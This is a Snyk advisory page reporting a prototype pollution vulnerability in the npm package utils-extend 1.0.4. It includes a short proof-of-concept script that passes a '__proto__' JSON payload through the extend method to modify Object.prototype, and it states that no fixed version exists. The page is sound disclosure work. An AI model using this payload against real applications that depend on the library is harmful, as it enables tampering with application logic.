utils-extend@1.0.4 vulnerabilities

Extend nodejs util api, and it is light weight and simple

Direct Vulnerabilities

Known vulnerabilities in the utils-extend package. This does not include vulnerabilities belonging to this package’s dependencies.

Automatically find and fix vulnerabilities affecting your projects. Snyk scans for vulnerabilities and provides fixes for free.
Fix for free
Vulnerability Vulnerable Version
  • M
Prototype Pollution

utils-extend is a package to extend nodejs util api.

Affected versions of this package are vulnerable to Prototype Pollution. The extend method within utils-extend can be tricked into adding or modifying properties of Object.prototype

PoC by Snyk


var util = require('utils-extend');
var malicious_payload = '{"__proto__":{"vulnerable":"Polluted"}}';
var source = {
  k: 'v',
  k2: []
};


var source2 = {
  k3: { }  
};
 
var result = util.extend(source, JSON.parse(malicious_payload), source2);
console.log({}.vulnerable);

How to fix Prototype Pollution?

There is no fixed version for utils-extend.

*